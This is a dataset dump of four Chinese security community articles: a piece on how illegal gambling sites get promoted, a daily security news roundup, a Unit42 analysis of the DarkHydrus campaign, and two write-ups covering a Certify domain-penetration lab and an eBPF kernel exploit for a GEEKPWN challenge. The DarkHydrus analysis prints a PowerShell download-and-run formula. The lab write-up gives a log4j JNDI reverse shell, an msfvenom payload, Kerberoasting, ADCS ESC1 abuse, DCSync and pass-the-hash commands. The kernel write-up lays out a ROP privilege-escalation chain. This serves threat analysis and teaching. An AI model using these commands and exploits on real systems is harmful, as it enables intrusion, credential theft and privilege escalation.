text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 论博彩狗推的自我修养，谁看了不拍手叫“绝”（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
博彩推广在博彩（菠菜）圈子中占据着举足轻重的作用，可以这么说，每一个“成功”的博彩平台（狗庄）背后，都是数不尽的狗推人员在助力。而狗推就是通过各种渠道帮助菠菜平台进行引流、维护、电销、招商、推广的人员，狗推成功引导赌客在平台投注，过程中也就涉及到
**渠道推广、获客（获得客户联系方式）、平台转化** 三个环节。
## 渠道推广
### 微转渠道
微转指的是给特定的微信好友群体，转发含推广兼职/博彩的文章，对方点击文章中的广告，会跳转至对应的兼职/菠菜平台。转发方式多样，微信朋友圈、微信群、微信好友。
通常这类方式推广，为了吸引用户点击，会把文字标题和内容进行变装。例如包装成疫情文章或热点新闻，当访问者点击文章中的菠菜广告后，就会跳转至菠菜平台，完成引流。同时，
**狗推人员会采用域名防洪的方式躲避正规平台的拦截。**
由于此种方式，获客较为精准，目前还衍生出各种 **微信转发助手** ，其主要有几类功能：克隆好友朋友圈、自动邀请好友入群、自动转发文章至朋友圈。
### 短视频平台私信
狗推利用短视频平台的评论区，或以私信的方式，批量发送博彩信息。
### 酒店wifi渠道
利用酒店wifi登录页面推广广告的方式被称为 **个性化Portal页面**
。Portal定制为“VLAN+端口+IP地址”的形式，在Portal页面上开展广告业务，内置服务选择和信息发布等内容，进行业务拓展，实现Wi-Fi网络的运营。通过研究发现，一些博彩平台会选择在酒店WiFi登录的页面投放博彩广告。
### 支付宝退款/银行转账
支付宝商家退款时会有商家退款备注，通过 **商家备注** 功能推广博彩；银行转账时会有 **转账备注**
，此通知会通过短信通知，通过此功能推广博彩。通过目前的一些资料看，退款的商家多为一些商家超市。
### App广告
利用App广告位推广博彩或兼职广告。
## 安全课堂
博彩诈骗的运作模式正在呈现专业化、集团化的趋势，各环节有着精细的分工，通过雇佣代理、层层发展下线的模式，使用虚拟身份，通过网络去寻找潜在的“猎物”。由于其虚拟身份的隐蔽性、人员层级分布等特点，给跨境打击造成了一定的难度。作为个人用户，一定要
**远离赌博，谨慎投资，莫要轻信“小投资、大回报”** ，哪有天上掉馅饼的好事。 | 社区文章 |
# 5月9日安全热点 - Twitter正在测试直接消息的端到端加密
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
1.CVE-2018-8897：MOV SS或POSS SS延迟的异常可能导致意外行为
<http://t.cn/R3ZURVK>
2.CVE-2018-1239：戴尔EMC Unity系列操作系统命令注入漏洞
<http://t.cn/R3ZUE9G>
3.CVE-2018-10809：在2345安全卫士3.7中，驱动程序文件（2345NetFirewall.sys）允许本地用户导致拒绝服务（BSOD）或可能具有未指定的其他影响
<http://t.cn/R3ZUmbe>
4.CVE-2018-1087: KVM在处理MOVSS SS/POSS SS时错误处理
<http://t.cn/R3ZUugA>
5.qemu可能会将Xen驱动为无限循环
<http://t.cn/R3ZU1Pb>
## 安全事件 Security Incident
1.俄罗斯黑客向美国军队的妻子发出死亡威胁
<http://t.cn/R3ZUBUW>
2.黑客继续破解Drupal来安装后门并注入加密货币恶意软件
<http://t.cn/R37Uj56>
## 安全资讯 Security Information
1.Twitter正在测试直接消息的端到端加密
<http://t.cn/R3ZUeIy>
2.iOS 11.4在7天后禁用USB端口
<http://t.cn/R3ZUDWy>
3.微软5月安全更新：修复了包括两个严重的远程代码执行漏洞
<http://t.cn/R3ZUkFq>
4.联想发布安全公告：任意代码执行漏洞
<http://t.cn/R3vBYiM>
5.Adobe发布安全更新：修复包括Flash Player中代码执行漏洞
<http://t.cn/R3Z4vGS>
## 安全研究 Security Research
1.可怕的新漏洞:绕过LinkedIn双因素验证工具
<http://t.cn/R3Z4h3Y>
2.Zoom – 自动快速Wordpress漏洞扫描器
<http://t.cn/R3Z47FI>
3.WordPress的开发框架v1.9.2 – 开发和使用模块的框架，它帮助WordPress的网站和系统的渗透测试
<http://t.cn/R3Z4ZyU>
4.HeapViewer：一个IDA Pro插件，用于检查glibc堆，专注于漏洞利用开发
<http://t.cn/R3Z4wJb>
## 恶意软件 Malware
1.Evasive恶意软件袭击法国公司
<http://t.cn/R3Z4Apu>
2.SynAck勒索软件通过Doppelgienging技术避开了反病毒软件
<http://t.cn/R3Z42u5>
【以上信息整理于[ https://cert.360.cn/daily](https://cert.360.cn/daily) 】
360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
# DarkHydrus针对中东政府发起攻击详情分析
##### 译文声明
本文是翻译文章，文章来源：paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/>
译文仅供参考，具体内容表达以及含义原文为准。
在2018年7月， Unit42分析了针对中东政府机构的新型文件类型的攻击行为，
此次攻击由未公布的威胁组织DarkHydrus执行。基于关联分析可知，该组织自2016年初开始就使用目前的样本版本。这次攻击与先前攻击有所不同，此次钓鱼的电子邮件中附件为有密码保护的RAR压缩包，解压后可发现恶意web查询文件（.iqy）。
.iqy文件是包含URL的简单文本文件，默认情况下由Excel打开。
打开后，Excel将检索文件中所有的URL对象。在以往的案例中，载体多为开源合法工具，但这些工具被搭载了恶意代码以进行恶意行为，例如Meterpreter和Cobalt
Strike。该组织此次使用了基于PowerShell的自定义有效载荷，我们将之称为RogueRobin。
## 攻击方式
攻击者在7月15日到16日之间发送了鱼叉式网络钓鱼电子邮件。每封电子邮件都有一个受密码保护的RAR压缩包，名为credential.rar。
如图1所示，消息正文用阿拉伯语编写，要求收件人解压RAR压缩包并查看其中名为credential.iqy的文档，该消息同时附录了打开RAR存档所需的密码123456。
翻译这些阿拉伯文，文本含义为：
你好
请查看附件
密码：123456
## 恶意载荷分析
恶意载荷credential.iqy的SHA256为：
cc1966eff7bed11c1faada0bb0ed0c8715404abd936cfa816cef61863a0c1dd6
该.iqy文件只包含以下字符串文本：
<http://micrrosoft.net/releasenotes.txt>
Microsoft Excel打开.iqy文件后使用文件中的URL来获取要包含在电子表格中的远程数据。
默认情况下，Excel不允许从远程服务器下载数据，会通过显示对话框询问用户的同意：
通过启用此数据连接，用户允许Excel从.iqy文件中的URL里获取内容。
releasenotes.txt文件（SHA256：bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d）中的内容包含以下公式，Excel将其保存到工作表中的“A0”单元格。公式为：
=cmd|’ /c C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -exec
bypass -c IEX ((New-Object
Net.WebClient).DownloadString(”[http://micrrosoft.net/winupdate.ps1″))’!A0](http://micrrosoft.net/winupdate.ps1%22\)\)'!A0)
该公式使用命令语句运行PowerShell脚本，该脚本尝试下载并执行在URL： http：// micrrosoft .net /
winupdate.ps1上托管的第二个PowerShell脚本。 默认情况下，Excel不会直接执行命令，但会在用户同意后通过以下对话框后执行此操作：
winupdate.ps1脚本（SHA256：36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e）就是我们称之为RogueRobin的负责进行攻击的主要恶意载荷。
它的开发人员使用开源的Invoke-Obfuscation工具来搭载这个PowerShell脚本，特别还使用了Invoke-Obfuscation提供的COMPRESS技术。 解压缩的PowerShell载荷与PowerShell
Empire代理有一些相似之处，例如使用抖动值和作业ID引用命令，但是我们没有确凿的证据证明此工具的作者使用Empire作为其工具的基础。
在执行其功能之前，有效负载会检查它是否能在沙箱中执行。 该载荷使用WMI查询并且检查运行进程，以获取脚本可能在分析环境中执行的证据。 具体的沙盒检查包括：
使用WMI检查VBOX，bochs，qemu，virtualbox和vm的BIOS版本（SMBIOSBIOSVERSION）。
使用WMI检查BIOS制造商是否有XEN。
使用WMI检查总物理内存是否小于2900000000。
使用WMI检查CPU核心数是否小于或等于1。
枚举“Wireshark”和“Sysinternals”的运行流程。
如果恶意载荷不能在沙箱中运行，它将尝试将自身安装到系统以永久执行。 为了下载此载荷，脚本将创建文件％APPDATA％
OneDrive.bat并将以下字符串保存到其中：
powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%OneDrive.ps1”
然后，该脚本将自身的修改后的副本写入％APPDATA％ OneDrive.ps1，并省略执行此安装的代码。
为了在系统启动时持续执行，脚本将在Windows启动文件夹中创建以下快捷方式，该启动文件夹将在每次用户登录时运行OneDrive.ps1脚本：
$env:SystemDriveUsers$env:USERNAMEAppDataRoamingMicrosoftWindowsStart
MenuProgramsStartupOneDrive.lnk
恶意载荷使用自定义的DNS隧道协议与其配置命令和进行控制（C2）的服务器进行通信。 本载荷中配置的域名为：
Anyconnect[.]stream
Bigip[.]stream
Fortiweb[.]download
Kaspersky[.]science
microtik[.]stream
owa365[.]bid
symanteclive[.]download
windowsdefender[.]win
DNS隧道协议可以使用多种不同的DNS查询类型与C2服务器进行交互。 恶意载荷会进行前期测试以查看哪些DNS查询类型能够成功连接到C2服务器。
它将遍历列表，第一个能够从C2服务器接收响应的DNS类型将用于载荷和C2服务器之间的所有通信，顺序如下：
A
AAAA
AC
CNAME
MX
TXT
SRV
SOA
恶意载荷使用具有特定参数的内置Windows nslookup应用程序和特制的子域来与C2通信。
为了与C2建立通信，有效载荷将首先获得C2服务器发布的系统特定标识符。
载荷使用以下结构发送初始DNS，以获取系统特定标识符查询，其中包括当前进程标识符（PID）作为C2域的子域：<current process id>.<c2
domain>
一旦获得系统标识符，恶意载荷就收集系统特定信息并将其发送到C2服务器。 收集的信息整合到统一规格的字符串中：
<IP地址> | <计算机名称> | <域> | <用户名> | <isAdmin标志> | <来自config的hasGarbage标志> |
<来自config的hasStartup标志> | <来自config“hybrid”模式标志> | <来自config的sleep interval >
| <来自config的jitter值>
载荷将对此字符串进行base64编码，并使用其DNS隧道协议将数据传输到C2。隧道协议通过发送一系列DNS查询语句来传输数据，这些数据被包含在C2域的子域内。每个发出的DNS请求结构如下：
<系统ID> – <作业ID> – <数据中的偏移> <更多数据标记> – < 被base64编码的且长度随机的数据(30到42个字符之间)>.<c2
域名>
载荷将针对这些出站请求来搜索不同的响应，这些均是基于载荷与C2通信的DNS请求的类型来进行判断的。
以下显示了C2用于传输成功或取消消息的特定IP地址或字符串，具体取决于与C2进行通信的DNS查询类型：
在提供系统特定信息之后，此载荷将与C2服务器进行交互以获取命令并将其称为作业（jobs）。
C2服务器将提供一个字符串，有效载荷将根据这个字符串去确定基于命令处理程序所要执行的命令。
为了能获取被作为命令处理的字符串，载荷将发出一系列DNS询问语句以解析具有以下结构的域：
<系统 id> – <作业ID> – <作业独有的偏移数据>.<c2 域>
C2服务器将对这些包含在IPv4或IPv6地址中的询问的进行响应，具体取决于载荷用于与其C2服务器进行通信的DNS查询的类型。
载荷将根据不同的DNS询问类型使用特定的正则表达式，如表2所示：
这些正则表达式用于构建字符串，然后载荷将受其命令处理程序的指派进行操作。
我们分析了有效负载以确定可用的命令，这些命令提供了各种远程控制的功能。命令字符串如表3所示：
## 活动分析
每个域名都模仿了现有技术厂商的合法域名，安全厂商尤甚。
Anyconnect[.]stream
Bigip[.]stream
Fortiweb[.]download
Kaspersky[.]science
microtik[.]stream
owa365[.]bid
symanteclive[.]download
windowsdefender[.]win
这些C2服务器解析出来的IP地址均出自中国的1.2.9.0/24，这个地址是C2服务器用于向终端系统发送取消通信消息的IP地址。每个列出的域都使用ns102.kaspersky
[.] host和ns103.kaspersky [.] host作为其命名服务器。 通过对ns102 / ns103.kaspersky
[.]host进行检查，发现二级域名kaspersky [.]host是非法的，实际上不归卡巴斯基实验室所有。 kaspersky
[.]host关联出可疑IP：107.175.150 [.] 113和94.130.88 [.] 9。而94.130.88 [.]
9又可以关联出0utlook [.] bid和hotmai1 [.]
com。我们暂时还不知道这些域的具体作用，但基于域名欺骗和共享IP的相似性等特点，它们可能是攻击者用以进行攻击的基础设施的一部分。107.175.150
[.] 113关联出另一个域名qu.edu.qa.0utl00k [.] net。
我们基于此C2服务器找到一个恶意文档（SHA256：d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318），文档中包含与之前分析的恶意行为类似的PowerShell脚本。通过对0utl00k
[.] net的二级域名进行搜索可以关联出IP：195.154.41 [.] 150。此IP包含另两个相关域名：allexa [.] net和cisc0
[.] net。通过查询cisc0 [.] net，可以发现有几个武器化文档和恶意载荷从2017年中后期开始就使用这个域作为C2。
ClearSky Security表示cisc0 [.] net可能与Copy
Kittens组织有关，虽然无法实锤，但是他们所使用的技术和攻击对象都十分相似。有关Copy Kittens的更多信息可以在题为Operation
Wilted Tulip的文章中找到。
ClearSky Security报告地址为：<https://www.clearskysec.com/wp-content/uploads/2018/01/ClearSky_cyber_intelligence_report_2017.pdf>
Operation Wilted
Tulip文章地址为：<https://www.clearskysec.com/wpcontent/uploads/2017/07/Operation_Wilted_Tulip.pdf>
C2服务器在很长一段时间内被该组织重复使用。例如2017年1月和7月的攻击事件中除了两个载荷之外，也使用了micrrosoft [.]
net这个域名。该组织主要使用免费工具或Meterpreter，Mimikatz，PowerShellEmpire，Veil和CobaltStrike等开源软件库来利用被武器化的Microsoft
Office文档。这些文档通常不包含恶意代码，而是会对包含恶意代码的远控文件进行检索。
## 结论
DarkHydrus小组利用恶意.iqy文件对至少一个中东政府机构进行了攻击。 .iqy文件利用的是Excel下载电子表格中所包含的远程服务器内容的机制。
DarkHydrus利用这种不起眼的文件格式来运行命令，最终安装PowerShell脚本以获得对系统的后门访问。
当前提供的PowerShell后门是暂时是由恶意组织定制开发的，但是DarkHydrus可能会通过使用合法开源工具将这些功能拼凑在一起。
（译者尽量直译，部分按个人从业经历进行了意译，但很多地方仍有很多不合适的地方，若存在疑问请阅读原文）
## IOC
载荷的SHA256：
cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1
ac7f9c536153780ccbec949f23b86f3d16e3105a5f14bb667df752aa815b0dc4
a547a02eb4fcb8f446da9b50838503de0d46f9bb2fd197c9ff63021243ea6d88
d428d79f58425d831c2ee0a73f04749715e8c4dd30ccd81d92fe17485e6dfcda
dd2625388bb2d2b02b6c10d4ee78f68a918b25ddd712a0862bcf92fa64284ffa
b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81
c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3
ce84b3c7986e6a48ca3171e703e7083e769e9ced1bbdd7edf8f3eab7ce20fd00
99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318
8063c3f134f4413b793dfc05f035b6480aa1636996e8ac4b94646292a5f87fde
9eac37a5c675cd1750cd50b01fc05085ce0092a19ba97026292a60b11b45bf49
cf9b2b40ac621aaf3241ff570bd7a238f6402102c29e4fbba3c5ce0cb8bc25f9
0a3d5b2a8ed60e0d96d5f0d9d6e00cd6ab882863afbb951f10c395a3d991fbc1
0b1d5e17443f0896c959d22fa15dadcae5ab083a35b3ff6cb48c7f967649ec82
870c8b29be2b596cc2e33045ec48c80251e668abd736cef9c5449df16cf2d3b8
ff0b59f23630f4a854448b82f1f0cd66bc4b1124a3f49f0aecaca28309673cb0
01fd7992aa71f4dca3a3766c438fbabe9aea78ca5812ab75b5371b48bd2625e2
6dcb3492a45a08127f9816a1b9e195de2bb7e0731c4e7168392d0e8068adae7a
47b8ad55b66cdcd78d972d6df5338b2e32c91af0a666531baf1621d2786e7870
776c056096f0e73898723c0807269bc299ae3bbd8e9542f0a1cbba0fd3470cb4
cf7863e023475d695c6f72c471d314b8b1781c6e9087ff4d70118b30205da5f0
e88045931b9d99511ce71cc94f2e3d1159581e5eb26d4e05146749e1620dc678
26e641a9149ff86759c317b57229f59ac48c5968846813cafb3c4e87c774e245
b5cfaac25d87a6e8ebabc918facce491788863f120371c9d00009d78b6a8c350
ad3fd1571277c7ce93dfbd58cee3b3bec84eeaf6bb29a279ecb6a656028f771c
相关域名：
maccaffe[.]com
cisc0[.]net
0utl00k[.]net
msdncss[.]com
0ffice[.]com
0ffiice[.]com
micrrosoft[.]net
anyconnect[.]stream
bigip[.]stream
fortiweb[.]download
kaspersky[.]science
microtik[.]stream
owa365[.]bid
symanteclive[.]download
windowsdefender[.]win
allexa[.]net
kaspersky[.]host
hotmai1[.]com
0utlook[.]bid | 社区文章 |
靶标介绍：
Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。
技术涉及点:
Solr RCE、AD CS、SMB、Kerberos、域渗透
**外网打点:**
有ssh服务,一个默认的80端口Welcometonginx!页面和SolrAdmin
发现了solr使用了log4j的组件,我们可以进行log4j RCE
JNDI反弹shell，在VPS上开启服务
# 加载恶意类
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i yourVPS
#开启监听
nc -lnvp 80
Burp Suite发送数据包
GET /solr/admin/cores?action=${jndi:ldap://119.91.26.244:1389/Basic/ReverseShell/119.91.26.244/80 HTTP/1.1
Host: 47.92.242.84:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
获得反弹shell
**提权:**
sudo -l提权发现grc
sudo grc --help
查找flag
sudo grc --pty find / -name flag*
获得flag01
在给Meterpreter一个会话
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=yourVPS LPORT=443 -f elf -o shellrawss
python3开启HTTP服务
MSF监听
目标机运行linux马获得Meterpreter会话
**Socks5代理进内网和内网信息收集:**
上传Fscan
内网网段172.22.9.0
fscan命令:
./fscan_386 -h 172.22.9.0/24 >> fscan.txt
整理得到:
172.22.9.19:入口IP
172.22.9.7:域控制器DC
172.22.9.26:域成员
172.22.9.47:文件服务器
172.22.9.13:CA
根据提示，文件服务器猜测存在smb的共享，但是fscan不扫描smb的共享模式，只能使用nmap扫描
开启Socks5并为MSF添加路由
proxychains nmap -sT -A -Pn 172.22.9.47 >> nmap01.txt
proxychains smbclient \\\\172.22.9.47\\fileshare
dir
get personnel.db
get secret\flag02.txt
获得flag02
还有提示 you have enumerated smb. But do you know what an SPN is?
数据库文件中有几个用户名和密码
rdp破解
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV -e ns
获得了两个账号，但是无法远程登录
**Kerberoast攻击:**
使用GetUserSPNs.py寻找注册在域用户下的SPN
proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
然后在使用hashcat进行破解,rockyou.txt 是kali自带的密码本
hashcat64.exe -m 13100 1.txt rockyou.txt
破解得到密码
zhangxia/MyPass2@@6，使用账号密码进行远程登录
rdesktop 172.22.9.26
登录完成后并不能直接访问administrator的目录查找flag,因为没有管理员权限
**ADCS ESC1:**
Certify.exe定位漏洞
Certify.exe find /vulnerable
ESC1利用前提条件：
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书，即任何用户，包括域管理员用户
PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书
为域管申请证书:
Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator
转换格式:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
请求TGT,PTT
密码留空就行
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
获取到域管的票据后上传mimikatz导出哈希
**DcSync攻击:**
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
**哈希传递:**
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
获得flag03
**横向域控制器:**
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 [email protected]
获得最后的flag04 | 社区文章 |
# GEEKPWN2020-baby_kernel的另一种解法
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近看到网上关于eBPF漏洞的分析接踵而至，应该是之前CVE-2020-27194
漏洞掀起了一波分析热潮，笔者看到网上分析文章的漏洞利用基本都是以ZDI上CVE-2020-8835的利用思路为主，构造任意读写来达到提权的目的，这里笔者以最近的GEEKPWN2020-云安全挑战赛决赛-baby_kernel题目为例，分享一种利用栈溢出的漏洞利用方式，为这波热潮再续温一阵。
## 题目分析
版本信息
git checkout d82a532a611572d85fd2610ec41b5c9e222931b6
由于笔者并没有题目文件，所以看网上分析，手动打了题目补丁：
5446 static void scalar_min_max_add(struct bpf_reg_state *dst_reg,
5447 struct bpf_reg_state *src_reg)
5448 {
5449 s64 smin_val = src_reg->smin_value;
5450 s64 smax_val = src_reg->smax_value;
5451 u64 umin_val = src_reg->umin_value;
5452 u64 umax_val = src_reg->umax_value;
5453
5454 /*
5455 if (signed_add_overflows(dst_reg->smin_value, smin_val) |
5456 signed_add_overflows(dst_reg->smax_value, smax_val))
5457 dst_reg->smin_value = S64_MIN;
5458 dst_reg->smax_value = S64_MAX;
5459 } else {
5460 */
5461 dst_reg->smin_value += smin_val;
5462 dst_reg->smax_value += smax_val;
5463 /*}
5464 if (dst_reg->umin_value + umin_val < umin_val ||
5465 dst_reg->umax_value + umax_val < umax_val) {
5466 dst_reg->umin_value = 0;
5467 dst_reg->umax_value = U64_MAX;
5468 } else {*/
5469 dst_reg->umin_value += umin_val;
5470 dst_reg->umax_value += umax_val;
5471 //}
5472 }
上述补丁去除了64位整数相加的溢出检查。
5938 static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
5939 struct bpf_insn *insn,
5940 struct bpf_reg_state *dst_reg,
5941 struct bpf_reg_state src_reg)
5942 {
……
5976 } else {
5977 src_known = tnum_is_const(src_reg.var_off);
5978 if ((src_known &&
5979 (smin_val != smax_val || umin_val != umax_val)) ||
5980 smin_val > smax_val /*|| umin_val > umax_val*/ ) {
5981 /* Taint dst register if offset had invalid bounds
5982 * derived from e.g. dead branches.
5983 */
5984 __mark_reg_unknown(env, dst_reg);
5985 return 0;
5986 }
5987 }
……
上述补丁去除了adjust_scalar_min_max_vals函数中64位无符号数 umin_val >
umx_val的检查。两个补丁最主要的就是未检查64位整数相加溢出的情况，所以我们只要构造溢出就可以绕过后续的检查。
绕过检查的逻辑如下：
BPF_LD_IMM64(BPF_REG_6, 0x8000000000000000), // r6=0x8000000000000000
BPF_JMP_REG(BPF_JLE, BPF_REG_5, BPF_REG_6, 1), // r5 <= 6 ; jmp 1
BPF_EXIT_INSN(), // exit()
BPF_ALU64_REG(BPF_ADD,BPF_REG_5, BPF_REG_5), // r5 += r5
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // r6 = r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 33), // r6 >>= 33
r5
为从map输入的数，首先通过条件判断约束r5的范围，使其umax_value=0x8000000000000000，而umin_value默认值为0，所以在r5+r5的结果导致r5的范围变为[0,0]，因为0x8000000000000000+0x8000000000000000
溢出为0。但此时var_off.mask为0xffffffff，所以右移33，此时bpf检查程序认为r6是常数0。 而实际运行r5传入值
0x100000000 时， 计算过程如下：
r5 = 0x100000000
r5 += r5 -> 0x100000000+0x100000000=0x200000000
r6 = r5 = 0x200000000
r6 >>= 33 -> 0x200000000>>33=1
bpf 日志如下：
12: (18) r6 = 0x8000000000000000
14: (bd) if r5 <= r6 goto pc+1
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=9223372036854775808) R6_w=invP-9223372036854775808 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) ?
16: (0f) r5 += r5
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R6_w=invP-9223372036854775808 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
17: (bf) r6 = r5
18: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R6_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_p?
18: (77) r6 >>= 33
19: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0xffffffff)) R6_w=invP0 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-?
绕过检查的方式很多种，主要方式就是检查时让其认为传入的值通过计算后恒为常数，而实际运行时却可以传入任意数，从而实现绕过后续的检查造成越界读写。
## 漏洞利用
绕过检查后，我们可以在栈上进行越界读写，直接修改返回地址，构造rop关闭各种保护机制后进行提权。比构造任意读写更加方便快捷，同时内核结构体的随机化也没有影响，只是利用的rop链会有所不同。
栈溢出利用如下：
BPF_MOV64_REG(BPF_REG_7,BPF_REG_10), // 对栈指针进行越界读写
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -0x38), // 开辟栈空间，-0x38
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x20), // r6 -> arb num， r6的值不能超过0x38，所以相加了两次进行溢出
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6), //rop[0]
BPF_ALU64_REG(BPF_ADD,BPF_REG_7, BPF_REG_6),
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_8, 0x18), // map[3]
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),
r10保存着rsp指针，不能直接对r10操作，所以赋值给r7，开辟0x38的栈空间后，r7=rsp-0x38，此时由于r6的值不能超过0x38，所以相加了两次进行溢出，最终r7=rsp-0x38+0x20+0x20=rsp+0x8，rsp+0x8保存在返回地址，将其覆盖就可以执行rop链了。
在笔者的环境下找到的rop链如下：
pop_rdi_ret; //rop[0] pop rdi; ret;
0; //rop[1]
prepare_kernel; //rop[2]
xchg_rax_rdi; //rop[3] xchg rax, rdi; dec dword ptr [rax - 0x77];
commit_creds; //rop[4]
kpti_ret; //rop[5] swapgs_restore_regs_and_return_to_usermode
0; //rop[6]
0; //rop[7]
&get_shell; //rop[8]
user_cs; //rop[9]
user_rflags; //rop[10]
user_sp; //rop[11]
user_ss; //rop[12]
首先执行 commit_creds(prepare_kernel_cred(0));
然后调用swapgs_restore_regs_and_return_to_usermode 来关闭KPTI保护。
KPTI(Kernel PageTable
Isolation)全称为内核页表隔离，它通过完全分离用户空间与内核空间页表来解决之前CPU漏洞，防止通过侧信道攻击泄露信息。
KPTI中每个进程有两套页表——内核态页表与用户态页表(两个地址空间)。内核态页表只能在内核态下访问，可以创建到内核和用户的映射（不过用户空间受SMAP和SMEP保护）。用户态页表只包含用户空间。不过由于涉及到上下文切换，所以在用户态页表中必须包含部分内核地址，用来建立到中断入口和出口的映射。
当中断在用户态发生时，就涉及到切换CR3寄存器，从用户态地址空间切换到内核态的地址空间。中断上半部的要求是尽可能的快，从而切换CR3这个操作也要求尽可能的快。为了达到这个目的，KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中（内核态在低位，用户态在高位）。这段空间必须是8K对齐的，这样将CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作，提高了CR3切换的速度。
简单来说CR3的第13位决定着是使用用户态页表还是内核态的页表，要想绕过KPTI机制只需要修改CR3的第13位为1，内核就会从内核PGD转为用户态PGD，所以要找到类似以下的gadget：
mov rdi, cr3
or rdi, 1000h
mov cr3, rdi
而在swapgs_restore_regs_and_return_to_usermode+0x16处可以很方便地用到上述gadget：
swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81600A34 41 5F pop r15
.text:FFFFFFFF81600A36 41 5E pop r14
.text:FFFFFFFF81600A38 41 5D pop r13
.text:FFFFFFFF81600A3A 41 5C pop r12
.text:FFFFFFFF81600A3C 5D pop rbp
.text:FFFFFFFF81600A3D 5B pop rbx
.text:FFFFFFFF81600A3E 41 5B pop r11
.text:FFFFFFFF81600A40 41 5A pop r10
.text:FFFFFFFF81600A42 41 59 pop r9
.text:FFFFFFFF81600A44 41 58 pop r8
.text:FFFFFFFF81600A46 58 pop rax
.text:FFFFFFFF81600A47 59 pop rcx
.text:FFFFFFFF81600A48 5A pop rdx
.text:FFFFFFFF81600A49 5E pop rsi
.text:FFFFFFFF81600A4A 48 89 E7 mov rdi, rsp <<<<<<<<<<<<<<<<<<
.text:FFFFFFFF81600A4D 65 48 8B 24 25+ mov rsp, gs: 0x5004
.text:FFFFFFFF81600A56 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18 push qword ptr [rdi+18h]
